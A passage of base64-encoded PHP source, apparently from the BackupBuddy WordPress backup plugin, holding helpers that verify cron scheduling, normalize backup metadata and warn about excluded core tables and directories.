yZS4KCQlpZiAoIGZpbGVfZXhpc3RzKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRUZW1wRGlyZWN0b3J5KCkgKSApIHsKCQkJcGJfYmFja3VwYnVkZHk6OmFudGlfZGlyZWN0b3J5X2Jyb3dzaW5nKCBiYWNrdXBidWRkeV9jb3JlOjpnZXRUZW1wRGlyZWN0b3J5KCksIGZhbHNlICk7CgkJfQoKCQlnbG9iYWwgJHBiX2JhY2t1cGJ1ZGR5X2RpcmVjdG9yeV92ZXJpZmljYXRpb247CgkJJHBiX2JhY2t1cGJ1ZGR5X2RpcmVjdG9yeV92ZXJpZmljYXRpb24gPSAkc3VjY2VzczsKCQlyZXR1cm4gJHN1Y2Nlc3M7CgoJfSAvLyBFbmQgdmVyaWZ5X2RpcmVjdG9yaWVzKCkuCgoKCS8qKgoJICogQVBJIHRvIHdwX3NjaGVkdWxlX3NpbmdsZV9ldmVudCgpIHRoYXQgYWxzbyB2ZXJpZmllcyB0aGF0IHRoZSBzY2hlZHVsZSBhY3R1YWxseSBnb3QgY3JlYXRlZCBpbiBXb3JkUHJlc3MuCgkgKiBTb21ldGltZXMgdGhlIGRhdGFiYXNlIHJlamVjdHMgdGhpcyB1cGRhdGUgc28gd2UgbmVlZCB0byBkbyBhY3R1YWwgdmVyaWZpY2F0aW9uLgoJICoKCSAqIEBwYXJhbSBpbnQgICAgJHRpbWUgICAgICAgICAgICAgIFRpbWVzdGFtcC4KCSAqIEBwYXJhbSBzdHJpbmcgJG1ldGhvZCAgICAgICAgICAgIENsYXNzIE1ldGhvZC4KCSAqIEBwYXJhbSBhcnJheSAgJGFyZ3MgICAgICAgICAgICAgIEFyZ3MgdG8gcGFzcy4KCSAqIEBwYXJhbSBpbnQgICAgJHJlc2NoZWR1bGVfY291bnQgIE51bWVyaWMgY291bnRlciBvZiBob3cgbWFueSB0aW1lcyB0aGlzIHNjaGVkdWxlIGhhcyBiZWVuICdidW1wZWQnLiAgVGhpcyBoZWxwcyBwcmV2ZW50IGluZmluaXRlIGxvb3BzIG9mIGJ1bXBpbmcgY3JvbnMuICBCQiBsaW1pdHMgdG8gb25seSBvbmUgQkIgY3JvbiBhY3Rpb24gcGVyIFBIUCBwYWdlIGxvYWQgdG8gaW5zdXJlIGZ1bGwgcnVudGltZSBwZXIgcHJvY2Vzcy4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gdmVyaWZpZWQgc2NoZWR1bGUgc3VjY2VzcywgZWxzZSBmYWxzZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzY2hlZHVsZV9zaW5nbGVfZXZlbnQoICR0aW1lLCAkbWV0aG9kLCAkYXJncywgJHJlc2NoZWR1bGVfY291bnQgPSAwICkgewoJCSR0YWcgPSAnYmFja3VwYnVkZHlfY3Jvbic7CgoJCS8vIE1ha2Ugc3VyZSBsaXZlX3BlcmlvZGljIG5ldmVyIGdldHMgc2NoZWR1bGVkIG11bHRpcGxlIHRpbWVzLgoJCWlmICggJ2xpdmVfcGVyaW9kaWMnID09PSAkbWV0aG9kICkgewoJCQkkc2luZ2xlX3NjaGVkdWxlZCA9IHdwX25leHRfc2NoZWR1bGVkKCAkdGFnLCBhcnJheSggJG1ldGhvZCwgJGFyZ3MsICRyZXNjaGVkdWxlX2NvdW50ICkgKTsgLy8gQ2hlY2sgaWYgdGFnIGFscmVhZHkgc2NoZWR1bGVkLgoJCQlpZiAoIGZhbHNlICE9PSAkc2luZ2xlX3NjaGVkdWxlZCApIHsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICd3YXJuaW5nJywgJ1dhcm5pbmcgIzgzOTI0OTc0MzogQW4gZXhpc3Rpbmcgc2NoZWR1bGUgYXBwZWFycyB0byBhbHJlYWR5IGV4aXN0IGZvciB0aGlzIHRhZyB3aGljaCBpcyBsaW1pdGVkIHRvIGEgc2luZ2xlIGluc3RhbmNlLiBUaGlzIG1heSBiZSBhIHRlbXBvcmFyeSBpc3N1ZSBvciB0aGlzIG1heSBiZSBjYXVzZWQgYnkgY3JvbiBpbnRlcmZlcmVuY2Ugc3VjaCBhcyBieSBXM1RDLiBEZXRhaWxzOiBgJyAuIHByaW50X3IoICRzaW5nbGVfc2NoZWR1bGVkLCB0cnVlICkgLiAnYC4nICk7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJJHNjaGVkdWxlX3Jlc3VsdCA9IHdwX3NjaGVkdWxlX3NpbmdsZV9ldmVudCggJHRpbWUsICR0YWcsIGFycmF5KCAkbWV0aG9kLCAkYXJncywgJHJlc2NoZWR1bGVfY291bnQgKSApOyAvLyBTY2hlZHVsZS4KCQlpZiAoIGZhbHNlID09PSAkc2NoZWR1bGVfcmVzdWx0ICkgeyAvLyBJZiBmYWlsZWQsIHNsZWVwIDEgdGhlbiB0cnkgYWdhaW4uCgkJCXNsZWVwKCBiYWNrdXBidWRkeV9jb25zdGFudHM6OlNDSEVEVUxFX1JFVFJZX1dBSVQgKTsKCQkJJHNjaGVkdWxlX3Jlc3VsdCA9IHdwX3NjaGVkdWxlX3NpbmdsZV9ldmVudCggJHRpbWUsICR0YWcsIGFycmF5KCAkbWV0aG9kLCAkYXJncywgJHJlc2NoZWR1bGVfY291bnQgKSApOyAvLyBTY2hlZHVsZS4KCQl9CgoJCSRuZXh0X3NjaGVkdWxlZCA9IHdwX25leHRfc2NoZWR1bGVkKCAkdGFnLCBhcnJheSggJG1ldGhvZCwgJGFyZ3MsICRyZXNjaGVkdWxlX2NvdW50ICkgKTsgLy8gUmV0cmlldmUgc2NoZWR1bGUgdG8gdmVyaWZ5IGl0IHN0dWNrLgoKCQlpZiAoIGZhbHNlID09PSAkbmV4dF9zY2hlZHVsZWQgKSB7CgkJCXNsZWVwKCBiYWNrdXBidWRkeV9jb25zdGFudHM6OlNDSEVEVUxFX1JFVFJZX1dBSVQgKTsKCQkJJG5leHRfc2NoZWR1bGVkID0gd3BfbmV4dF9zY2hlZHVsZWQoICR0YWcsIGFycmF5KCAkbWV0aG9kLCAkYXJncywgJHJlc2NoZWR1bGVfY291bnQgKSApOyAvLyBSZXRyaWV2ZSBzY2hlZHVsZSB0byB2ZXJpZnkgaXQgc3R1Y2suCgkJfQoKCQlpZiAoIGZhbHNlID09PSAkbmV4dF9zY2hlZHVsZWQgKSB7CgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdlcnJvcicsICdXYXJuaW5nICMzNDg5NDkzNDogVGhpcyBtYXkgbm90IGJlIGEgZmF0YWwgZXJyb3IuIElnbm9yZSBpZiBwcm9jZXNzIHByb2NlZWRzIHdpdGhvdXQgb3RoZXIgZXJyb3JzLiBXb3JkUHJlc3MgcmVwb3J0ZWQgc3VjY2VzcyBzY2hlZHVsaW5nIEJVVCB3cF9uZXh0X3NjaGVkdWxlZCgpIGNvdWxkIE5PVCBjb25maXJtIHNjaGVkdWxlIGV4aXN0YW5jZS4gQSBwbHVnaW4gbWF5IGhhdmUgcHJldmVudGVkIGl0IChlZyBjYWNoaW5nKSBvciBpdCBpcyBhbHJlYWR5IHNjaGVkdWxlZCAoYnV0IGNvdWxkIG5vdCBiZSBkZXRlY3RlZCkuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIHNjaGVkdWxlX3NpbmdsZV9ldmVudCgpLgoKCgkvKioKCSAqIEFQSSB0byB3cF9zY2hlZHVsZV9ldmVudCgpIHRoYXQgYWxzbyB2ZXJpZmllcyB0aGF0IHRoZSBzY2hlZHVsZSBhY3R1YWxseSBnb3QgY3JlYXRlZCBpbiBXb3JkUHJlc3MuCgkgKiBTb21ldGltZXMgdGhlIGRhdGFiYXNlIHJlamVjdHMgdGhpcyB1cGRhdGUgc28gd2UgbmVlZCB0byBkbyBhY3R1YWwgdmVyaWZpY2F0aW9uLgoJICoKCSAqIEBwYXJhbSBpbnQgICAgJHRpbWUgICAgVGltZXN0YW1wLgoJICogQHBhcmFtIHN0cmluZyAkcGVyaW9kICBSZWN1cnJlbmNlLgoJICogQHBhcmFtIHN0cmluZyAkbWV0aG9kICBDbGFzcyBtZXRob2QuCgkgKiBAcGFyYW0gYXJyYXkgICRhcmdzICAgIEFyZ3MgdG8gaW5jbHVkZS4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gdmVyaWZpZWQgc2NoZWR1bGUgc3VjY2VzcywgZWxzZSBmYWxzZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBzY2hlZHVsZV9ldmVudCggJHRpbWUsICRwZXJpb2QsICRtZXRob2QsICRhcmdzICkgewoJCSR0YWcgICAgICAgICAgICAgPSAnYmFja3VwYnVkZHlfY3Jvbic7CgkJJHNjaGVkdWxlX3Jlc3VsdCA9IHdwX3NjaGVkdWxlX2V2ZW50KCAkdGltZSwgJHBlcmlvZCwgJHRhZywgYXJyYXkoICRtZXRob2QsICRhcmdzICkgKTsKCgkJLy8gSWYgZmFpbGVkLCBzbGVlcCAxIHRoZW4gdHJ5IGFnYWluLgoJCWlmICggZmFsc2UgPT09ICRzY2hlZHVsZV9yZXN1bHQgKSB7CgkJCXNsZWVwKCBiYWNrdXBidWRkeV9jb25zdGFudHM6OlNDSEVEVUxFX1JFVFJZX1dBSVQgKTsKCQkJJHNjaGVkdWxlX3Jlc3VsdCA9IHdwX3NjaGVkdWxlX2V2ZW50KCAkdGltZSwgJHBlcmlvZCwgJHRhZywgYXJyYXkoICRtZXRob2QsICRhcmdzICkgKTsKCQl9CgoJCS8vIENvbmZpcm0gZXZlbnQgd2FzIHNjaGVkdWxlZCBzdWNjZXNzZnVsbHkuCgkJJG5leHRfc2NoZWR1bGVkID0gd3BfbmV4dF9zY2hlZHVsZWQoICR0YWcsIGFycmF5KCAkbWV0aG9kLCAkYXJncyApICk7CgoJCS8vIElmIGZhaWxlZCwgZXZlbnQgZG9lc24ndCBleGlzdCB5ZXQsIHNsZWVwIGZvciAxIHNlY29uZCwgdGhlbiB0cnkgYWdhaW4uCgkJaWYgKCBmYWxzZSA9PT0gJG5leHRfc2NoZWR1bGVkICkgewoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdDb25maXJtaW5nIGNyb24gc2NoZWR1bGVkIGZvciBgJyAuICRtZXRob2QgLiAnYC4uLicgKTsKCQkJc2xlZXAoIGJhY2t1cGJ1ZGR5X2NvbnN0YW50czo6U0NIRURVTEVfUkVUUllfV0FJVCApOwoJCQkkbmV4dF9zY2hlZHVsZWQgPSB3cF9uZXh0X3NjaGVkdWxlZCggJHRhZywgYXJyYXkoICRtZXRob2QsICRhcmdzICkgKTsKCQl9CgoJCWlmICggZmFsc2UgPT09ICRuZXh0X3NjaGVkdWxlZCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ0Vycm9yICM4MjkzODMyOTogVGhpcyBtYXkgbm90IGJlIGEgZmF0YWwgZXJyb3IuIElnbm9yZSBpZiBiYWNrdXAgcHJvY2VlZHMgd2l0aG91dCBvdGhlciBlcnJvcnMuIFdvcmRQcmVzcyByZXBvcnRlZCBzdWNjZXNzIHNjaGVkdWxpbmcgQlVUIHdwX25leHRfc2NoZWR1bGVkKCkgY291bGQgTk9UIGNvbmZpcm0gc2NoZWR1bGUgZXhpc3RhbmNlIG9mIG1ldGhvZCBgJyAuICRtZXRob2QgLiAnYC4gQSBwbHVnaW4gbWF5IGhhdmUgcHJldmVudGVkIGl0IChlZyBjYWNoaW5nKSBvciBpdCBpcyBhbHJlYWR5IHNjaGVkdWxlZCAoYnV0IGNvdWxkIG5vdCBiZSBkZXRlY3RlZCkuJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlyZXR1cm4gdHJ1ZTsKCX0gLy8gRW5kIHNjaGVkdWxlX2V2ZW50KCkuCgoKCS8qKgoJICogQVBJIHRvIHdwX3Vuc2NoZWR1bGVfZXZlbnQoKSB0aGF0IGFsc28gdmVyaWZpZXMgdGhhdCB0aGUgc2NoZWR1bGUgYWN0dWFsbHkgZ290IHJlbW92ZWQgV29yZFByZXNzLgoJICogU29tZXRpbWVzIHRoZSBkYXRhYmFzZSByZWplY3RzIHRoaXMgdXBkYXRlIHNvIHdlIG5lZWQgdG8gZG8gYWN0dWFsIHZlcmlmaWNhdGlvbi4KCSAqCgkgKiBAcGFyYW0gaW50ICAgICR0aW1lICBUaW1lc3RhbXAuCgkgKiBAcGFyYW0gc3RyaW5nICR0YWcgICBFdmVudCB0YWcuCgkgKiBAcGFyYW0gYXJyYXkgICRhcmdzICBBcnJheSBvZiBhcmdzLgoJICoKCSAqIEByZXR1cm4gYm9vbCAgVHJ1ZSBvbiB2ZXJpZmllZCBzY2hlZHVsZSBkZWxldGlvbiBzdWNjZXNzLCBlbHNlIGZhbHNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHVuc2NoZWR1bGVfZXZlbnQoICR0aW1lLCAkdGFnLCAkYXJncyApIHsKCQkvLyBSZW1vdmUgdGhlIGV2ZW50LgoJCSR1bnNjaGVkdWxlX3Jlc3VsdCA9IHdwX3Vuc2NoZWR1bGVfZXZlbnQoICR0aW1lLCAkdGFnLCAkYXJncyApOwoJCWlmICggZmFsc2UgPT09ICR1bnNjaGVkdWxlX3Jlc3VsdCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ3dhcm5pbmcnLCAnV2FybmluZzogVW5hYmxlIHRvIHJlbW92ZSBzY2hlZHVsZSBmb3IgdGFnIGAnIC4gJHRhZyAuICdgIGFzIHdwX3Vuc2NoZWR1bGVfZXZlbnQoKSByZXR1cm5lZCBmYWxzZS4gQSBwbHVnaW4gbWF5IGhhdmUgcHJldmVudGVkIGl0IG9yIGl0IGlzIGFscmVhZHkgdW5zY2hlZHVsZWQuIFRoaXMgbWF5IG5vdCBiZSBhIHByb2JsZW0uJyApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQkvLyBNYWtlIHN1cmUgdGhlIGV2ZW50IHdhcyByZW1vdmVkLgoJCSRuZXh0X3NjaGVkdWxlZCA9IHdwX25leHRfc2NoZWR1bGVkKCAkdGFnLCAkYXJncyApOwoJCWlmICggZmFsc2UgIT09ICRuZXh0X3NjaGVkdWxlZCApIHsKCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2Vycm9yJywgJ1dvcmRQcmVzcyByZXBvcnRlZCBzdWNjZXNzIHVuc2NoZWR1bGluZyBCVVQgd3BfbmV4dF9zY2hlZHVsZWQoKSBjb25maXJtZWQgc2NoZWR1bGUgZXhpc3RhbmNlIG9mIHRhZyBgJyAuICR0YWcgLiAnYC4gVGhlIGRhdGFiYXNlIG1heSBoYXZlIHJlamVjdGVkIHRoZSByZW1vdmFsLicgKTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCgkJcmV0dXJuIHRydWU7Cgl9IC8vIEVuZCB1bnNjaGVkdWxlX2V2ZW50KCkuCgoJLyoqCgkgKiBIYW5kbGUgbm9ybWFsaXppbmcgemlwIGNvbW1lbnQgZGF0YSwgZGVmYXVsdHMsIGV0Yy4KCSAqCgkgKiBAcGFyYW0gYXJyYXkgJGNvbW1lbnQgIEFycmF5IG9mIG1ldGEgZGF0YSB0byBub3JtYWxpemUgJiBhcHBseSBkZWZhdWx0cyB0by4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBOb3JtYWxpemVkIGFycmF5LgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG5vcm1hbGl6ZV9jb21tZW50X2RhdGEoICRjb21tZW50ICkgewoKCQkkZGVmYXVsdHMgPSBhcnJheSgKCQkJJ3NlcmlhbCcgICAgID0+ICcnLAoJCQknc2l0ZXVybCcgICAgPT4gJycsCgkJCSd0eXBlJyAgICAgICA9PiAnJywKCQkJJ3Byb2ZpbGUnICAgID0+ICcnLAoJCQknY3JlYXRlZCcgICAgPT4gJycsCgkJCSdnZW5lcmF0b3InICA9PiAnJywKCQkJJ2RiX3ByZWZpeCcgID0+ICcnLAoJCQknYmJfdmVyc2lvbicgPT4gJycsCgkJCSd3cF92ZXJzaW9uJyA9PiAnJywKCQkJJ3Bvc3RzJyAgICAgID0+ICcnLAoJCQkncGFnZXMnICAgICAgPT4gJycsCgkJCSdjb21tZW50cycgICA9PiAnJywKCQkJJ3VzZXJzJyAgICAgID0+ICcnLAoJCQknZGF0X3BhdGgnICAgPT4gJycsCgkJCSdub3RlJyAgICAgICA9PiAnJywKCQkpOwoKCQlpZiAoICEgaXNfYXJyYXkoICRjb21tZW50ICkgKSB7IC8vIFBsYWluIHRleHQ7IHBsYWNlIGluIG5vdGUgZmllbGQuCgoJCQkkbWF5YmVfY29tbWVudCA9IGpzb25fZGVjb2RlKCAkY29tbWVudCwgdHJ1ZSApOwoJCQlpZiAoIG51bGwgIT09ICRtYXliZV9jb21tZW50ICkgewoJCQkJcmV0dXJuIGFycmF5X21lcmdlKCAkZGVmYXVsdHMsICRtYXliZV9jb21tZW50ICk7CgkJCX0gZWxzZSB7CgoJCQkJaWYgKCBpc19zdHJpbmcoICRjb21tZW50ICkgKSB7CgkJCQkJJGRlZmF1bHRzWydub3RlJ10gPSAkY29tbWVudDsKCQkJCX0KCQkJCXJldHVybiAkZGVmYXVsdHM7CgkJCX0KCQl9IGVsc2UgeyAvLyBBcnJheS4gTWVyZ2UgZGVmYXVsdHMgYW5kIHJldHVybi4KCQkJcmV0dXJuIGFycmF5X21lcmdlKCAkZGVmYXVsdHMsICRjb21tZW50ICk7CgkJfQoKCX0gLy8gRW5kIG5vcm1hbGl6ZV9jb21tZW50X2RhdGEoKS4KCgoJLyoqCgkgKiBUcmFuc2xhdGVzIG1ldGEgaW5mb3JtYXRpb24gZmllbGQgbmFtZXMgYW5kIHZhbHVlcyBpbnRvIG5pY2UgcmVhZGFibGUgZm9ybXMuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkY29tbWVudF9saW5lX25hbWUgICBNZXRhIGZpZWxkIG5hbWUuCgkgKiBAcGFyYW0gc3RyaW5nICRjb21tZW50X2xpbmVfdmFsdWUgIFZhbHVlIG9mIG1ldGEgaXRlbS4KCSAqCgkgKiBAcmV0dXJuIGFycmF5fGZhbHNlICBBcnJheSB3aXRoIHR3byBlbnRyaWVzOiB0aGUgdXBkYXRlcyBjb21tZW50IGxpbmUgbmFtZSBhbmQgdXBkYXRlZCBjb21tZW50IGxpbmUgdmFsdWUuIGZhbHNlIGlmIGVtcHR5LgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHByZXR0eV9tZXRhX2luZm8oICRjb21tZW50X2xpbmVfbmFtZSwgJGNvbW1lbnRfbGluZV92YWx1ZSApIHsKCgkJaWYgKCAnc2VyaWFsJyA9PT0gJGNvbW1lbnRfbGluZV9uYW1lICkgewoJCQkkY29tbWVudF9saW5lX25hbWUgPSAnVW5pcXVlIHNlcmlhbCBpZGVudGlmaWVyJzsKCQl9IGVsc2VpZiAoICdzaXRldXJsJyA9PT0gJGNvbW1lbnRfbGluZV9uYW1lICkgewoJCQkkY29tbWVudF9saW5lX25hbWUgPSAnU2l0ZSBVUkwnOwoJCX0gZWxzZWlmICggJ3R5cGUnID09PSAkY29tbWVudF9saW5lX25hbWUgKSB7CgkJCSRjb21tZW50X2xpbmVfbmFtZSA9ICdCYWNrdXAgVHlwZSc7CgkJCWlmICggJ2RiJyA9PT0gJGNvbW1lbnRfbGluZV92YWx1ZSApIHsKCQkJCSRjb21tZW50X2xpbmVfdmFsdWUgPSAnRGF0YWJhc2UnOwoJCQl9IGVsc2VpZiAoICdmdWxsJyA9PT0gJGNvbW1lbnRfbGluZV92YWx1ZSApIHsKCQkJCSRjb21tZW50X2xpbmVfdmFsdWUgPSAnRnVsbCc7CgkJCX0gZWxzZWlmICggJ2V4cG9ydCcgPT09ICRjb21tZW50X2xpbmVfdmFsdWUgKSB7CgkJCQkkY29tbWVudF9saW5lX3ZhbHVlID0gJ011bHRpc2l0ZSBTdWJzaXRlIEV4cG9ydCc7CgkJCX0KCQl9IGVsc2VpZiAoICdwcm9maWxlJyA9PT0gJGNvbW1lbnRfbGluZV9uYW1lICkgewoJCQkkY29tbWVudF9saW5lX25hbWUgPSAnQmFja3VwIFByb2ZpbGUnOwoJCX0gZWxzZWlmICggJ2NyZWF0ZWQnID09PSAkY29tbWVudF9saW5lX25hbWUgKSB7CgkJCSRjb21tZW50X2xpbmVfbmFtZSA9ICdDcmVhdGlvbiBEYXRlJzsKCQkJaWYgKCAnJyAhPSAkY29tbWVudF9saW5lX3ZhbHVlICkgewoJCQkJJGNvbW1lbnRfbGluZV92YWx1ZSA9IHBiX2JhY2t1cGJ1ZGR5OjokZm9ybWF0LT5kYXRlKCBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+bG9jYWxpemVfdGltZSggJGNvbW1lbnRfbGluZV92YWx1ZSApICk7CgkJCX0KCQl9IGVsc2VpZiAoICdiYl92ZXJzaW9uJyA9PT0gJGNvbW1lbnRfbGluZV9uYW1lICkgewoJCQkkY29tbWVudF9saW5lX25hbWUgPSAnQmFja3VwQnVkZHkgdmVyc2lvbiBhdCBjcmVhdGlvbic7CgkJfSBlbHNlaWYgKCAnd3BfdmVyc2lvbicgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ1dvcmRQcmVzcyB2ZXJzaW9uIGF0IGNyZWF0aW9uJzsKCQl9IGVsc2VpZiAoICdkYXRfcGF0aCcgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ0JhY2t1cEJ1ZGR5IGRhdGEgZmlsZSAocmVsYXRpdmUpJzsKCQl9IGVsc2VpZiAoICdwb3N0cycgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ1RvdGFsIFBvc3RzJzsKCQl9IGVsc2VpZiAoICdwYWdlcycgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ1RvdGFsIFBhZ2VzJzsKCQl9IGVsc2VpZiAoICdjb21tZW50cycgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ1RvdGFsIENvbW1lbnRzJzsKCQl9IGVsc2VpZiAoICd1c2VycycgPT09ICRjb21tZW50X2xpbmVfbmFtZSApIHsKCQkJJGNvbW1lbnRfbGluZV9uYW1lID0gJ1RvdGFsIFVzZXJzJzsKCQl9IGVsc2VpZiAoICdub3RlJyA9PT0gJGNvbW1lbnRfbGluZV9uYW1lICkgewoJCQkkY29tbWVudF9saW5lX25hbWUgPSAnVXNlci1zcGVjaWZpZWQgbm90ZSc7CgkJCWlmICggJycgIT0gJGNvbW1lbnRfbGluZV92YWx1ZSApIHsKCQkJCSRjb21tZW50X2xpbmVfdmFsdWUgPSAnIicgLiBodG1sZW50aXRpZXMoICRjb21tZW50X2xpbmVfdmFsdWUgKSAuICciJzsKCQkJfQoJCX0gZWxzZSB7CgkJCSRjb21tZW50X2xpbmVfbmFtZSA9ICRjb21tZW50X2xpbmVfbmFtZTsKCQl9CgoJCWlmICggJycgIT0gJGNvbW1lbnRfbGluZV92YWx1ZSApIHsKCQkJcmV0dXJuIGFycmF5KCAkY29tbWVudF9saW5lX25hbWUsICRjb21tZW50X2xpbmVfdmFsdWUgKTsKCQl9IGVsc2UgewoJCQlyZXR1cm4gYXJyYXkoICRjb21tZW50X2xpbmVfbmFtZSwgJy1FbXB0eS0nICk7CgkJfQoKCX0gLy8gRW5kIHByZXR0eV9tZXRhX2luZm8oKS4KCgoJLyoqCgkgKiBPdXRwdXRzIGFuIGFsZXJ0IHdhcm5pbmcgaWYgYSBjb3JlIGRiIHRhYmxlIGlzIGV4Y2x1ZGVkLgoJICoKCSAqIEBwYXJhbSBhcnJheSAkZXhjbHVkZXMgIEFycmF5IG9mIHRhYmxlcyBleGNsdWRlZCBmcm9tIHRoZSBiYWNrdXAuCgkgKgoJICogQHJldHVybiBhcnJheSAgQXJyYXkgb2YgbWVzc2FnZSB3YXJuaW5ncyBhYm91dCBwb3RlbnRpYWwgaXNzdWVzIGZvdW5kIHdpdGggdGhlc2UgZXhjbHVzaW9ucywgaWYgYW55LiBJbmRleCA9IHVuaXF1ZSBpZGVudGlmZXIsIFZhbHVlID0gbWVzc2FnZS4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBhbGVydF9jb3JlX3RhYmxlX2V4Y2x1ZGVzKCAkZXhjbHVkZXMgKSB7CgkJZ2xvYmFsICR3cGRiOwoJCSRwcmVmaXggPSAkd3BkYi0+cHJlZml4OwoKCQkvLyBJZiB0aGVzZSB0YWJsZXMgYXJlIGZvdW5kIGV4Y2x1ZGVkIHRoZW4gd2FybiB0aGF0IG1heSBiZSBhIGJhZCBpZGVhLgoJCSR3YXJuX3RhYmxlcyA9IGFycmF5KAoJCQkkcHJlZml4IC4gJ2NvbW1lbnRzJywKCQkJJHByZWZpeCAuICdwb3N0cycsCgkJCSRwcmVmaXggLiAndXNlcnMnLAoJCQkkcHJlZml4IC4gJ2NvbW1lbnRtZXRhJywKCQkJJHByZWZpeCAuICdwb3N0bWV0YScsCgkJCSRwcmVmaXggLiAndGVybV9yZWxhdGlvbnNoaXBzJywKCQkJJHByZWZpeCAuICdvcHRpb25zJywKCQkJJHByZWZpeCAuICd0ZXJtX3RheG9ub215JywKCQkJJHByZWZpeCAuICdsaW5rcycsCgkJCSRwcmVmaXggLiAndGVybXMnLAoJCSk7CgoJCSRyZXR1cm5fYXJyYXkgPSBhcnJheSgpOwoJCWZvcmVhY2ggKCAkd2Fybl90YWJsZXMgYXMgJHdhcm5fdGFibGUgKSB7CgkJCWlmICggaW5fYXJyYXkoICR3YXJuX3RhYmxlLCAkZXhjbHVkZXMgKSApIHsKCQkJCSRyZXR1cm5fYXJyYXlbICdleGNsdWRpbmdfY29yZXRhYmxlLScgLiBtZDUoICR3YXJuX3RhYmxlICkgXSA9ICdXYXJuaW5nOiBZb3UgYXJlIGV4Y2x1ZGluZyBvbmUgb3IgbW9yZSBjb3JlIFdvcmRQcmVzcyB0YWJsZXMgYCcgLiAkd2Fybl90YWJsZSAuICdgIHdoaWNoIG1heSByZXN1bHQgaW4gYW4gaW5jb21wbGV0ZSBiYWNrdXAuIFJlbW92ZSBleGNsdXNpb25zIG9yIGJhY2t1cCB3aXRoIGFub3RoZXIgcHJvZmlsZSBvciBtZXRob2QuJzsKCQkJfQoJCX0KCgkJcmV0dXJuICRyZXR1cm5fYXJyYXk7Cgl9IC8vIEVuZCBhbGVydF9jb3JlX3RhYmxlc19leGNsdWRlcygpLgoKCgkvKioKCSAqIE91dHB1dHMgYW4gYWxlcnQgd2FybmluZyBpZiBhIGNvcmUgZGIgZGlyZWN0b3J5IGlzIGV4Y2x1ZGVkLgoJICoKCSAqIEBwYXJhbSBhcnJheSAkZXhjbHVkZXMgIEFycmF5IG9mIHBhdGhzIGV4Y2x1ZGVkIGZyb20gdGhlIGJhY2t1cC4KCSAqCgkgKiBAcmV0dXJuIGFycmF5ICBBcnJheSBvZiBtZXNzYWdlIHdhcm5pbmdzIGFib3V0IHBvdGVudGlhbCBpc3N1ZXMgZm91bmQgd2l0aCB0aGVzZSBleGNsdXNpb25zLCBpZiBhbnkuIEluZGV4ID0gdW5pcXVlIGlkZW50aWZlciwgVmFsdWUgPSBtZXNzYWdlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGFsZXJ0X2NvcmVfZmlsZV9leGNsdWRlcyggJGV4Y2x1ZGVzICkgewoKCQkvLyBJZiB0aGVzZSBwYXRocyBhcmUgZm91bmQgZXhjbHVkZWQgdGhlbiB3YXJuIHRoYXQgbWF5IGJlIGEgYmFkIGlkZWEuCgkJJHdhcm5fZGlycyA9IGFycmF5KCAvLyBObyB0cmFpbGluZyBzbGFzaC4KCQkJJy93cC1jb250ZW50JywKCQkJJy93cC1jb250ZW50L3VwbG9hZHMnLAoJCQknL3dwLWNvbnRlbnQvdXBsb2Fkcy9iYWNrdXBidWRkeV90ZW1wJywKCQkJJy8nIC4gbHRyaW0oIHN0cl9yZXBsYWNlKCBBQlNQQVRILCAnJywgYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCkgKSwgJ1xcLycgKSwKCQkpOwoKCQlmb3JlYWNoICggJGV4Y2x1ZGVzIGFzICYkZXhjbHVkZSApIHsgLy8gU3RyaXAgdHJhaWxpbmcgc2xhc2goZXMpLgoJCQkkZXhjbHVkZSA9IHJ0cmltKCAkZXhjbHVkZSwgJ1xcLycgKTsKCQl9CgoJCSRyZXR1cm5fYXJyYXkgPSBhcnJheSgpOwoJCWZvcmVhY2ggKCAkd2Fybl9kaXJzIGFzICR3YXJuX2RpciApIHsKCQkJaWYgKCBpbl9hcnJheSggJHdhcm5fZGlyLCAkZXhjbHVkZXMgKSApIHsKCQkJCSRyZXR1cm5fYXJyYXlbICdleGNsdWRpbmdfY29yZWZpbGUtJyAuIG1kNSggJHdhcm5fZGlyICkgXSA9ICdXYXJuaW5nOiBZb3UgYXJlIGV4Y2x1ZGluZyBvbmUgb3IgbW9yZSBXb3JkUHJlc3MgY29yZSBvciBCYWNrdXBCdWRkeSBkaXJlY3RvcmllcyBgJyAuICR3YXJuX2RpciAuICdgIHdoaWNoIG1heS